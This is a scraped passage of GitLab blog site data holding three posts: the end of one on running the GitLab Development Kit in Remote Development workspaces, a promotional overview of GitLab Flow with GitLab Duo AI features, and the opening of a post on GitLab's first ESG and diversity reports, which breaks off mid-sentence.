name: jaeger-5778\n          targetPort: 5778\n        - name: objects-9000\n          targetPort: 9000\n        - name: shell-9122\n          targetPort: 9122\n```\n\nThis definition comes straight out of the [Workspace docs](https://docs.gitlab.com/ee/user/workspace/#devfile), and opens a number of ports that GDK uses. (For now, I've only tested the port `gdk-3000`, which is the the link to our instance of GDK.)\n\n## From Workspace to GDK\nOnce we have a project with a `.devfile.yaml`, our final step is to [create a new workspace](https://docs.gitlab.com/ee/user/workspace/#create-a-workspace).\n\nAs a part of this step, your cluster will pull the image as defined in the `.devfile.yaml` and start it up. For the GDK image we pre-built, this can take a few minutes.\n\nOnce the workspace is ready, the last step is to follow the link from the UI to connect to the workspace. This will open up a familiar VS Code IDE, with our GDK fork checked out.\n\nBut wait, where's GDK?\n\nWell, the pre-build did most of the work for us, but we still need to take a few final steps before we can claim that GDK is up and running. These have been built into a script we can run from the integrated terminal within the workspace.\n\nTo open a terminal, we can click on the VS Code Hamburger menu (top left), navigate to `Terminal` and select `New Terminal`.\n\nNow we execute the following script, which completes the setup and copies a couple of files over from the pre-built folders:\n\n```shell\nsupport/gitlab-remote-dev/remote-dev-gdk-bootstrap.sh\n```\n\nThis can take up to 15 minutes, but when it's done it should output the magic words — something like the following (note the 3000 in the URL; we specified that in the `.devfile.yaml` earlier):\n\n```shell\nSuccess! You can access your GDK here: https://3000-workspace-62637-2083197-apglwp.workspace.my-workspace.example.net/\n```\n\n## Connect to your GDK\nFollow the link as displayed using Cmd-click or Ctrl-click. After a couple of moments (GDK boot time), you should reach a familiar GitLab login screen.\n\nCongratulations! GDK is now running inside your Remote Development workspace.\n\nTo log in, type `gdk` in your terminal and you'll see the default admin credentials displayed near the bottom:\n\n```shell\n# Development admin account: xxxx / xxxx\n\nFor more information about GitLab development see\nhttps://docs.gitlab.com/ee/development/index.html.\n```\n\nLog into your GDK with the default credentials, change the admin user password, and you're all set!\n\n## Demo of workspace launch\nHere's a demo of launching a workspace in my personal cluster:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/iXq1NnTjnX0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## How to contribute to GitLab\nIn this article I explained how to get GDK up and running in Remote Development workspaces. This is not without its challenges, but the end result should mean that contributing to GitLab (especially in resource-constrained environments) is quicker and easier.\n\nDo you want to contribute to GitLab? Come and join in the conversation in the `#contribute` channel on GitLab's [Discord](https://discord.gg/gitlab), or just pop in and say \"hello.\"\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[696,4103,1444,3949,2704,815],{"slug":9148,"featured":6,"template":678},"gitlab-gdk-remote-development","content:en-us:blog:gitlab-gdk-remote-development.yml","Gitlab Gdk Remote Development","en-us/blog/gitlab-gdk-remote-development.yml","en-us/blog/gitlab-gdk-remote-development",{"_path":9154,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9155,"content":9160,"config":9165,"_id":9167,"_type":16,"title":9168,"_source":17,"_file":9169,"_stem":9170,"_extension":20},"/en-us/blog/gitlab-flow-duo",{"title":9156,"description":9157,"ogTitle":9156,"ogDescription":9157,"noIndex":6,"ogImage":8601,"ogUrl":9158,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9158,"schema":9159},"Combine GitLab Flow and GitLab Duo for a workflow powerhouse ","Add the AI-powered capabilities of GitLab Duo to GitLab Flow to boost the efficiency of DevSecOps workflows. This is a guide for deployment in your environment, including a video tutorial.","https://about.gitlab.com/blog/gitlab-flow-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Combine GitLab Flow and GitLab Duo for a workflow powerhouse \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2023-07-27\",\n      }",{"title":9156,"description":9157,"authors":9161,"heroImage":8601,"date":9162,"body":9163,"category":791,"tags":9164,"updatedDate":5556},[937],"2023-07-27","Starting out with DevSecOps requires a well-thought-out workflow, but that can sometimes seem like a daunting challenge. Luckily, there are two things that can help: GitLab Flow and GitLab Duo. GitLab Flow is a prescribed approach to help organizations successfully apply DevSecOps processes. GitLab Duo is a [powerful set of AI-powered capabilities](https://about.gitlab.com/blog/supercharge-productivity-with-gitlab-duo/) within the GitLab DevSecOps Platform that can help organizations develop code, improve operations, and secure software more efficiently. Combined, GitLab Flow and GitLab Duo can help organizations achieve significant improvements in end-to-end workflow efficiency, which can lead to even higher levels of productivity, deployment frequency, code quality and overall security, and production resiliency and availability.\nIn this article, we delve into how GitLab Flow and GitLab Duo can be used together to help organizations be successful with DevSecOps.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## What is GitLab Flow?\nGitLab Flow is a prescribed and opinionated end-to-end workflow for the development lifecycle of applications when using GitLab, an AI-powered DevSecOps platform with a single user interface and a single data model. GitLab Flow is based on best practices and lessons learned from customer feedback and our dogfooding. Furthermore, GitLab Flow spans across the [stages of the DevSecOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/), forming an efficient workflow with an inner feedback loop for reviewing a specific update and an outer feedback loop for improving the entire application, as well as the development lifecycle itself. \n\n![The GitLab Flow inner and outer loops](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-feedback-loops.png)\n\u003Ccenter>The GitLab Flow inner and outer loops\u003C/center>\u003Cp>\u003C/p>\n\nAs you can see by the many stages in GitLab Flow, there is much more to developing software than writing code. Below, we'll dive into each step of GitLab Flow and how GitLab Duo can help. \n\n### Planning\nThe first portion of GitLab Flow is planning, which sits on the outer feedback loop of GitLab Flow. It encompasses issues, merge requests, epics, milestones, iterations, release, release evidence, and more. Let’s cover what roles these components play in GitLab Flow and how GitLab Duo can help.\n\n![Planning - first portion of GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-planning-portion.png)\n\u003Ccenter>Planning - first portion of GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\n#### Issues\nIssues are where product problems or new features are defined and where team members can collaborate. As an issue is created, you can populate its title and then leverage GitLab Duo **Issue description generation** capability to help enrich the description field, saving time and effort. Because many stakeholders can participate in comment threads on an issue, **Discussion summary** is an AI-powered capability in GitLab Duo that can summarize hundreds of comments on an issue into a concise paragraph so that a stakeholder can quickly get caught up with the conversation, jump into the discussion, and become productive right away.\n\nIssues can be organized and visualized in issue boards, which are a software project management tool that can be used as kanban or Scrum boards. These boards help teams plan, organize, and visualize a workflow for a feature or product release. Different categories of boards can be created and issues can be moved from one board to another one with a simple drag and drop.\n\n#### Merge requests\nMerge requests are where solutions are developed. As release components, issues and merge requests provide the auditability and tracking of application changes done by stakeholders, such as DevOps and platform engineers, system and database administrators, security engineers, and developers. In addition, issues and merge requests are key inputs for the release planning process.\n\nMerge requests can be individually created or created from an issue. Creating a merge request from an issue automatically relates it to that issue so when the merge request is merged its associated issue is automatically closed. Merge requests can also be manually related to an issue.\n\n![Merged merge request will close issue](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/mr-with-its-issue.png)\n\u003Ccenter>Merged merge request will close issue\u003C/center>\u003Cp>\u003C/p>\n\nLike issues, merge requests can include a long list of updates to a feature branch by many stakeholders. Collaborators who need to familiarize themselves with or understand all of the updates included in a merge request can take advantage of the **Merge request summary** capability in GitLab Duo to quickly get caught up on the changes. In addition, collaborators can invoke GitLab Duo **Code Merge request template population**, which uses a pre-created merge request template and automatically fills in the content for sections in it. Description templates provide a way to standardize and optimize collaboration and communication across the development lifecycle and GitLab Duo speeds this up even more!\n\nIssues with the same theme can be grouped together in an epic to organize the work to be done. Epics can have child issues and sub-epics and/or be linked to epics across the organization. Iterations can be used to track sprints of work, and can be manually scheduled or scheduled automatically using GitLab iteration cadences to streamline planning workflows. In addition, iterations include burndown and burnup charts. Burndown charts help track overall progress towards a project's total scope, while burnup charts track the daily total count and weight of issues added to and completed in a given timebox.\n\n#### Milestones\nTeams can use milestones to organize issues and merge requests into a cohesive group with an optional start date and an optional due date. Milestones are typically used to track releases and can track issues and merge requests at a project level or group level. Similar to iterations, milestones also provide burndown and burnup charts to show progress.\n\nMilestones can be associated with a release, whose automated creation generates many artifacts, including the release evidence. The release evidence is an automatically collected snapshot of data that’s related to the release. In addition to test artifacts and linked milestones, job artifacts can optionally be included in the release evidence, which can facilitate internal processes such as external audits.\n\nEpics, milestones, and iterations can be visualized via the Roadmaps page, which helps track release progress and streamline the release process. \n\nOnce the planning takes place, the work towards the resolution of a problem or a new feature can start. This happens in merge requests. Let’s delve deeper into how that happens in GitLab Flow. \n\n> [Learn more by trying GitLab Flow and GitLab Duo](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fblog%2F).\n\n### Merge requests and pushing code\n\n![Merge requests and pushing code - second portion of GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-mr-pushing-code-portion.png)\n\u003Ccenter>Merge requests and pushing code - second portion of GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nThe second portion of GitLab Flow is related to merge requests and pushing code. As mentioned earlier, merge requests are where solutions are developed through collaboration among stakeholders across the organization. This collaboration can happen in a distributed manner and asynchronously. Participants can take advantage of collaborative capabilities, such as tagging, inline suggestions, inline comments, merge request comments, review threads, and review requests, which can help improve code quality, availability, reliability, and performance. Right after the creation of the merge request is the start of the GitLab Flow inner feedback loop, which is where code and fix pushes, test and scan runs, and collaboration and update reviews take place.\n\n#### Pipelines\nAs updates are applied to a feature branch via merge requests, pipelines — if defined — are automatically executed. Pipelines can have multiple stages and jobs to build and test, and then deploy the application or microservice to a review environment. In that review environment, the updates can be dynamically verified before they are merged to the main branch. This automation helps streamline the application update and review processes.\n\nIn addition, as DevSecOps teams make updates to the application via merge requests, they have a variety of AI-powered capabilities at their disposal. As they write or update code, GitLab Duo **Code Suggestions** recommends code that should come next and the developer can choose to accept or ignore the recommendation. Code Suggestions support code generation via prompts as well as code completion as you type. Code Suggestions can help improve the programming experience by reducing errors and helping developers write code faster, which can help enhance production code quality. Code Suggestions also can lead to higher developer productivity and faster iterations and rollouts.\n\nAs different stakeholders within the organization participate in the development or review of applications, they may encounter code that is poorly documented, complex or difficult to understand, or is written in a programming language unfamiliar to them. The GitLab Duo **Code explanation** capability explains code in natural language so that everyone can understand the code and get up to speed quickly.\n\nMoreover, when updates are committed to the feature branch, the GitLab Duo **Suggested reviewers** capability uses the changes in a merge request and a project’s contribution graph to suggest appropriate reviewers in the reviewer dropdown in the merge request sidebar. The list includes users that are knowledgeable about a specific aspect of the application and would be the best candidates to review the updates. Developers save time by not having to search and identify adequate reviewers, streamlining the review process and avoiding delays and low-quality reviews.\n\nWhen developers make changes to the code, they often don't include a comment in the merge request about the specific changes they made. The GitLab Duo **Merge request summary** capability allows the author of merge request changes to use AI to generate a natural-language comment that summarizes the updates to the code. Reviewers then can better understand the changes and streamline the entire review process\n\nAs reviewers review updates to the code in a merge request, they can create a review block, which can consist of many comments spanning many source files. To help the original author of the updates better understand the feedback provided by the reviewer in a long review block, the GitLab Duo **Code review summary** capability generates a natural-language summary of the reviewer’s feedback. This enables better handoff between authors and reviewers, streamlining the review process.\n\nFurthermore, when developers add new code via a merge request, they can leverage the GitLab Duo **Test generation** capability to use AI to generate unit tests for the new code. This can help to increase developer productivity, improve test coverage, and catch bugs early in the development lifecycle. Developers can also leverage GitLab Duo **Chat**, which is always accessible, to refactor code and generate in-line documentation, e.g. docstrings, for their source code.\n\nWhile pipelines execute on branch updates, they can include automated tests and scans, which helps in shifting security left.\n\n### Shifting security left\n\n![Shifting security left - third portion of GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-shift-sec-left-portion.png)\n\u003Ccenter>Shifting security left - third portion of GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nThe third portion of GitLab Flow is shifting security left, which is also part of the GitLab Flow inner feedback loop.\n\nIn addition to DevOps and platform engineers, system and database administrators, and developers, some of the stakeholders collaborating in a merge request may be concerned about security and compliance, which is where automated tests and security scans play a role. Scans can be simply included in a pipeline via readily available templates and/or can be automatically executed within a merge request pipeline. GitLab provides a broad set of built-in security scanners and analyzers that can be leveraged by GitLab Flow, but the DevSecOps platform can also accommodate third-party and custom scanners.\n\nGitLab Flow shifts security left in the pipeline to detect and resolve defects as early as possible in the software development process. It is much simpler and cheaper to fix vulnerabilities early in the development cycle than once the application is in production, where an unscheduled outage can affect your users and revenue.\n\nThe built-in security scanners and analyzers provided by GitLab include: unit testing, infrastructure-as-code (IaC) scanning, static application security testing (SAST) scanners, dependency scanning, secret detection, container scanning, API security, web API fuzz testing, and coverage-guided fuzz testing. In addition, GitLab provides a variety of security dashboards and reports to manage and visualize vulnerabilities, such as the Dependencies list, Security dashboard, Vulnerability Report, and vulnerability pages.\n\nTo help developers and security engineers better understand and remediate vulnerabilities more efficiently, the GitLab Duo **Vulnerability explanation** capability provides an explanation about a specific vulnerability, how it can be exploited, and, most importantly, a recommendation on how to fix the vulnerability. Developers can also take advantage of GitLab Duo **Vulnerability resolution**, which automatically creates a merge request that includes code changes to fix the vulnerability. These AI-powered capabilities can help streamline and optimize the process of securing and hardening an application to prevent vulnerabilities that can be exploited by cyber attacks in production.\n\nBesides SAST scanners, GitLab provides dynamic application security testing (DAST) scanners, which require a running application. When leveraging these scanners, GitLab is capable of automatically provisioning a DAST environment for the DAST scans and then performing a complete cleanup of all resources post-DAST testing. In addition, for running containers, GitLab provides operational container scanning, which scans container images in your cluster for security vulnerabilities.\n\nThe scans mentioned above can be executed automatically within a merge request pipeline or, in some cases, can be scheduled for execution via scan execution and merge request approval policies. These policies can be defined via the GitLab UI or YAML files and are configured in a separate project, allowing segregation of duties for reusability, maintenance, and management. Scan execution policies require that security scans be run on a specified schedule or with the project pipeline, and merge request approval policies take action based on scan results. Security engineers or teams can define these policies to enforce security processes across the organization and GitLab Flow may encounter or leverage these as it spans through its steps.\n\nTo enforce security and compliance across projects in your organization, you can use compliance labels and pipelines. Compliance labels and pipelines can be made mandatory to execute before a project’s own pipeline. With this approach, you can ensure that all teams within your organization meet your security and compliance standards. In addition, you can secure your applications against cyber attacks, conform to government compliance standards, and always be audit-ready.\n\nThe main goal of all of these GitLab Flow security prescriptions is to fix vulnerabilities early in the development cycle rather than once the application is in production, where remediating a vulnerability can prove to be very costly in reputation and revenue.\n\nAs vulnerabilities are mitigated within the GitLab Flow inner feedback loop and more updates are applied to the application in the feature branch, stakeholders need to re-review these updates to ensure that the updates have taken place and no regressions have inadvertently been introduced.\n\n### Continuous review\n\n![Reviews - fourth portion of GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-reviewing-features-portion.png)\n\u003Ccenter>Reviews - fourth portion of GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nThe next portion of GitLab Flow is reviewing features, which prescribes the continuous review of applications. Reviewing features involves the ability to stand up a review environment to which the interim application (feature branch) is deployed so that stakeholders can review it in real time and provide feedback. The interim application can then be continuously adjusted until it is ready to be merged to the main branch. GitLab Flow also prescribes the cleanup of all provisioned review environment resources at the moment when the merge request is merged to the main branch.\n\nThis iterative automated review process is part of the inner feedback loop in GitLab Flow. As mentioned above, within the inner feedback loop, GitLab Duo capabilities like Code explanation, Code Suggestions, Suggested reviewers, Merge request summary, Merge request template population, Code review summary, Vulnerability explanation, Vulnerability resolution, and Root cause analysis are prescribed by GitLab Flow to enable a better handoff between authors and reviewers and streamline the entire review process.\n\nThe GitLab Flow inner feedback loop terminates when all review items are addressed and the merge request is approved and merged to the main branch, which triggers the deployment of the application to production.\n\n### Deploying applications and infrastructure\n\n![Deploying - fifth portion of GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-deploy-apps-portion.png)\n\u003Ccenter>Deploying - fifth portion of GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nDepending on an organization’s needs, either continuous delivery or continuous deployment is prescribed by GitLab Flow. Whereas continuous delivery is the frequent release of code by triggering the deployments manually (e.g., to production), continuous deployment is the automated release of code (e.g., to production) without human intervention. Let’s cover continuous delivery first.\n\nAs you release your software using continuous delivery, you have a few deployment options. You can establish a freeze window and then deploy using advanced deployment techniques, such as canary, blue/green, timed, and incremental rollouts. Incremental rollouts can lower the risk of production outages delivering a better user experience and customer satisfaction. Advanced deployment techniques can also improve development and delivery efficiency, streamlining the release process.\n\nAs you release your software using continuous deployment, all changes/updates go directly to production. Progressive delivery approaches like feature flags, which allow you to separate the delivery of specific features from a launch, are a good way to reduce risk and manage what functionality to make available to production users. Feature flags support multiple programming languages and allow developer experimentation and controlled testing. You can even use feature flags to roll out features to specific users.\n\nAlthough GitLab supports all these deployment approaches, GitLab Flow allows for the adoption of the approach that best fits the organization and/or specific project needs.\n\n### Monitoring applications and DevSecOps processes\nOnce your application has been deployed to production, it needs to be continuously monitored to ensure its stability, performance, and availability. In addition, as the DevSecOps processes execute, they are measured, providing the opportunity to improve their performance and efficiency. The monitoring capabilities are provided by GitLab and, as such, can be leveraged by GitLab Flow.\n\nFor running containers, GitLab provides operational container scanning (OCS), which scans container images in your cluster for security vulnerabilities. These scans can be automated by scheduling them when to run and any found vulnerabilities are automatically displayed in a security dashboard. The OCS can help keep your cluster applications secure and preempt any cyber attacks that can lead to leaks of private data and even cause unexpected outages.\n\nError tracking allows developers to discover and view errors generated by their application. All errors generated by your application are displayed in the Error Tracking list in GitLab. Error tracking can help with availability and performance of your applications by detecting and resolving unexpected application conditions fast.\n\nGitLab can accept alerts from any monitoring source, including Prometheus, via a webhook receiver. As alerts come in, they are displayed in the GitLab Alerts list, from which you can manually manage them. Alerts can also automatically trigger the creation of incidents, ChatOps, and email messages to appropriate individuals or groups. All these capabilities streamline the alert resolution and management process.\n\nAs incidents are created, due to production problems, they appear in the GitLab Incidents list for incident management. You can manage one or more incidents, sort them, search them, assign them, set their statuses, and even see their SLA preset countdown timer. Moreover, you can create on-call schedules and rotations, escalation policies, and set up paging and notifications to handle incidents. In addition, you can link an incident to an alert so that when the incident is closed, its associated alert is automatically resolved. Incident timelines are another capability for executives and external viewers to see what happened during an incident, and which steps were taken for it to be resolved. All these capabilities streamline the incident management process so that they can be resolved as quickly as possible.\n\nAudit events track important events, including who performed the related action and when in GitLab. These events are displayed in the GitLab Audit Events list and provide, among others, the action that was taken on an object, who did it, and the date and time of its occurrence.\n\nAll the lists and dashboards mentioned above can help preempt out-of-compliance scenarios to avoid penalties as well as streamline audit processes. For your running applications, they generate the data and metrics that can be used in the GitLab Flow outer feedback loop to help improve and optimize your applications and lower the risk of unscheduled production outages.\n\n### Continuous improvement\nWhen applying GitLab Flow, you also have the opportunity to use the insight that GitLab provides in the form of end-to-end process metrics dashboards to continuously improve not just your application but also your software delivery performance. These dashboards and their metrics are auto-generated by GitLab and are always available.\n\n### The Value Stream Analytics dashboard\n\nYou can track and monitor your application development lifecycle through the Value Stream Analytics Dashboard, where you can check project or group statistics over time. This dashboard is customizable but you can get started quickly by creating a value stream using a GitLab-provided default template. The default dashboard displays metrics for each of the pre-defined stages of your value stream analytics, namely Issue, Plan, Code, Test, Review, and Staging, as well as a graph with the average time to completion for each. It also shows the value stream analytics key metrics: lead time, cycle time, new issues, commits, and deploys. You can use these metrics to find areas of improvement in the stages of your value stream.\n\n### DORA metrics dashboard\n\nTo view the performance metrics that measure the effectiveness of your organization’s development and delivery practices, GitLab provides the [DORA](https://about.gitlab.com/solutions/value-stream-management/dora/) (DevOps Research and Assessment) metrics dashboard, which displays four key metrics: Deployment Frequency, Lead Time for Changes, Time to Restore Service, and Change Failure Rate. Deployment Frequency measures how often your organization deploys code to production or releases it to end users. Lead Time for Changes measures how long it takes to go from code committed to code successfully running in production. Time to Restore Service measures the time needed to restore services to the level they were previously, in case of an incident. Finally, Change Failure Rate is the percentage of changes to production or released to users that resulted in a degraded service (for example, a change that caused a service impairment or outage) and subsequently required remediation (required a hotfix, rollback, patch). These four key metrics are outcomes of your current processes and give you the opportunity to improve the factors and capabilities that drive them.\n\n### Customize your dashboard\n\nAnother dashboard is the Value Streams Dashboard, which is a customizable dashboard that enables decision-makers to identify trends, patterns, and opportunities for software development improvements. The metrics shown are the DORA metrics followed by the value stream analytics flow metrics and counts for critical and high vulnerabilities for the month to date, the two preceding months, and the past six months.\n\nGitLab Duo can also help in your continuous improvement efforts. For example, the **Value stream forecasting** capability takes historical data and uses data trends across your development lifecycle to predict the future behavior of your value stream metrics. You can use these predictive analyses in your optimization initiatives.\n\nAll these dashboards and the metrics they report on are part of the GitLab Flow outer feedback loop to help you lower the risk of unscheduled production outages and improve and optimize your applications and DevSecOps workflows.\n\n### AI impact analytics\nTo better understand the impact of the use of GitLab Duo (or AI) along the entire development life cycle, you can check the [AI Impact analytics](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/), from where you can see how the adoption of GitLab Duo Code Suggestions impacts other performance, quality and security metrics. You can visualize the last six months of AI adoption and its impact on other metrics, such as cycle time, lead time, deployment frequency, change failure rate, and critical vulnerabilities over time.\n\nAI impact analytics help to measure adoption, effectiveness and benefits that AI brings to teams and organizations and also to identify areas for improvement.\n\n## Why use GitLab Flow?\nGitLab Flow is a prescribed approach, practiced by our customers and users worldwide, that can provide the following benefits: \n- Higher productivity via the automation capabilities provided by GitLab and its single user interface and data model, all leveraged by GitLab Flow\n- Accurate insights into the end-to-end DevSecOps lifecycle to support continuous improvement\n- Built-in dashboards and metrics that can help you optimize your applications and DevSecOps processes\n- Higher code quality and improved reliability and availability of your applications\n- Better application security through built-in security scanners and capabilities\n- Compliance- and audit-readiness via built-in compliance features\n- Shorter cycle times that can help you increase deployment frequency\n- Continuous review enabled by the GitLab Flow inner feedback loop\n- The GitLab Flow inner feedback loop can help you optimize application updates leading to better code quality and higher reliability and availability of your applications\n- The GitLab Flow outer feedback loop can help you improve your applications as well as the development lifecycle itself\n- High levels of collaboration among stakeholders in your organization\n- Shifting security left to help find vulnerabilities in applications before they make it to production to avoid costly, unscheduled outages\n- Lower risk when deploying to production via the advanced deployment techniques and progressive delivery approaches supported by GitLab\n- AI-powered capabilities that span across the entire development lifecycle and can boost productivity, code quality, continuous improvement, security and compliance, and more\n- Support for cloud-native and non-cloud-native applications\n- Multi-cloud support for hybrid/multi-cloud applications\n- Shifting security left to help you find vulnerabilities in your applications before they make it to production so that you can avoid costly unscheduled outages\n\nHow can you get started with GitLab Flow? Leveraging GitLab Auto DevOps or parts of it is a good starting point for applying GitLab Flow principles to your application development lifecycle.\n\n## GitLab Flow and Auto DevOps\n\n![Auto DevOps - an instantiation of GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/ado-pipeline.png)\n\u003Ccenter>Auto DevOps - an instantiation of GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) applies GitLab Flow throughout all its stages and jobs. You can think of it as a good example for the instantiation of GitLab Flow.\n\nAuto DevOps is a collection of predefined, out-of-the-box CI/CD templates that auto-discover the source code you have. Based on best practices, these templates automatically detect, build, test, deploy, and monitor your applications.\n\nThe Auto DevOps pipeline shifts work left to find and prevent defects as early as possible in the software delivery process. The pipeline then deploys the application to staging for verification and then to production in an incremental/timed fashion.\n\nAuto DevOps gets you started quickly, increasing developer productivity, and it can be easily customized to your needs, with support for the most common programming frameworks and languages. Auto DevOps is modular, customizable, and extensible, which allows you to leverage pieces of it in your pipelines or apply all of it for your application.\n\n## Get started\n[Combine GitLab Flow and GitLab Duo today](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fblog%2F) to achieve significant improvements in end-to-end workflow efficiency that can lead to even higher levels of productivity, deployment frequency, code quality and overall security, and production resiliency and availability. \n\nIf you'd like to see a workflow in action that combines GitLab Flow and GitLab Duo and how it can benefit you, watch the following video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CKrZ4_tKY4I?si=Kf6QsYFIzKkJZpJd\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[110,790,943],{"slug":9166,"featured":6,"template":678},"gitlab-flow-duo","content:en-us:blog:gitlab-flow-duo.yml","Gitlab Flow Duo","en-us/blog/gitlab-flow-duo.yml","en-us/blog/gitlab-flow-duo",{"_path":9172,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9173,"content":9179,"config":9186,"_id":9188,"_type":16,"title":9189,"_source":17,"_file":9190,"_stem":9191,"_extension":20},"/en-us/blog/gitlab-first-esg-and-dib-reports",{"title":9174,"description":9175,"ogTitle":9174,"ogDescription":9175,"noIndex":6,"ogImage":9176,"ogUrl":9177,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9177,"schema":9178},"GitLab’s first ESG and DIB reports: Here’s what to know","Learn why Environmental, Social, and Governance and Diversity, Inclusion, and Belonging are integral to GitLab’s business and culture.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669919/Blog/Hero%20Images/gitlabbasic.png","https://about.gitlab.com/blog/gitlab-first-esg-and-dib-reports","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s first ESG and DIB reports: Here’s what to know\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sherida McMullan\"},{\"@type\":\"Person\",\"name\":\"Stacy Cline\"}],\n        \"datePublished\": \"2023-07-26\",\n      }",{"title":9174,"description":9175,"authors":9180,"heroImage":9176,"date":9183,"body":9184,"category":736,"tags":9185},[9181,9182],"Sherida McMullan","Stacy Cline","2023-07-26","\nEnvironmental, Social, and Governance (ESG) and Diversity, Inclusion, and Belonging (DIB) are at the center of many conversations right now, but at GitLab, these are two important issues that have been integral parts of GitLab’s business and culture, even before we explicitly used the term “ESG.” \n\nHow we think about this work shows up in the management and oversight of our business. It’s evident in how we approach remote work and develop our products, and our approach aligns with our [values](https://handbook.gitlab.com/handbook/values/), one of which is [DIB](https://handbook.gitlab.com/handbook/values/#diversity-inclusion). \n\nWhile we’ve always woven ESG practices into our business, we heard from you, our customers, our investors, our community members, and our team members, that there was more that we could do. That’s why we published our first ESG and DIB reports. With our transparency value in mind, we felt it was key to bring all of these important conversations into one forum, share our progress, and our commitment to continue iterating and to take action on the key topics we and our stakeholders consider most important.\n\nEarlier this year, we conducted our first double materiality assessment. During this process, we spoke with our stakeholders to understand where they want to see GitLab focus our ESG efforts and where we have the potential to have the greatest impact on the environment, society, and our global communities.\n\nSix key topics rose to the top. \n\n## 1. Diversity, Inclusion, and Belonging \nDIB is fundamental to the success of GitLab and, as such, is one of our core values. We incorporate the DIB value into all that we do. As a global company, we strive for a team that is representative of our users. We aim to create a work environment that is transparent in nature and fosters a space in which everyone is welcomed. We’ve made great strides in our aspirational DIB goals but we’re not stopping here. Here are a few highlights:\n\n* We increased [underrepresented group](https://about.gitlab.com/company/culture/inclusion/#examples-of-select-underrepresented-groups) representation across all job grades, exceeding our CTO and CEO aspirational quarterly goals focused on URG management and senior leadership,\n* We reached 37% for women in senior leadership roles, exceeding our aspirational goal by 7%.\n* We established three new Team Member Resource Groups focused on inclusion and belonging: Caregiving, Global Voices, and Black at GitLab.\n\nCheck out our [DIB report](http://about.gitlab.com/diversity-inclusion-belonging) for all of the latest details.\n\n## 2. Greenhouse gas emissions \nPart of doing responsible business means minimizing our environmental footprint. GitLab is a fully remote company without direct emissions from company-owned facilities or direct energy consumption. Accordingly, our greenhouse gas (GHG) inventory measures Scope 3 emissions only, specifically the emissions associated with remote work, purchased goods and services, cloud services, and business travel. We will use the results of the inventory to better understand our key sources of emissions, set reduction goals using fiscal year 2023 as a baseline, develop a reduction plan, and educate our fully remote team on how they can understand and reduce their GHG emissions at home.\n\n## 3. Talent and engagement \nWe're a team of helpful, passionate people who want to see each other, GitLab, and the broader GitLab community succeed. We care about what our team members achieve: the code shipped, the user that was made happy, and the team member that was helped. One way we measure engagement is through an annual survey and in fiscal year 2023, we achieved an 82% participation rate and an overall ‘favorable’ engagement score of 81%. The results from our survey will help drive our talent strategy. \n\n## 4. Information security and data privacy \nAt GitLab, we know how much security and privacy matter to our customers and stakeholders. We maintain a formal [Security Assurance](https://about.gitlab.com/handbook/security/security-assurance/) department responsible for monitoring and reporting on GitLab's compliance with various security frameworks and standards. In fiscal year 2023, we received our ISO 27001 certification to include the ISO 27017:2015 cloud security standard and ISO 27018:2019 privacy standard. For more information on our approach to information security and data privacy, please visit our [Trust Center](https://about.gitlab.com/security/).\n\n## 5. Responsible product development\nGitLab's [product mission](https://esg-landing-page.about.gitlab-review.app/handbook/product-development-flow/) is to consistently create products and experiences that users love and value. Responsible product development is integral to this mission. We are committed to secure and ethical operations as an organization and, beyond that, strive to set an example by empowering our wider GitLab community to build and work with the highest levels of security through our DevSecOps platform. \n\n## 6. Business ethics \nGitLab is committed to the highest standards of legal and ethical business conduct and has long operated its business consistent with written operating principles and policies that reinforce this commitment. Compliance with GitLab’s policies and local and federal rules and laws is the individual responsibility of each team member. Team members are also required to deal honestly, ethically, and fairly with customers, partners, suppliers, competitors, and other third parties.\n\nWhile we’re excited to share our key programs, policies, and accomplishments in the ESG and DIB reports, we know that the work doesn’t stop here. We’re 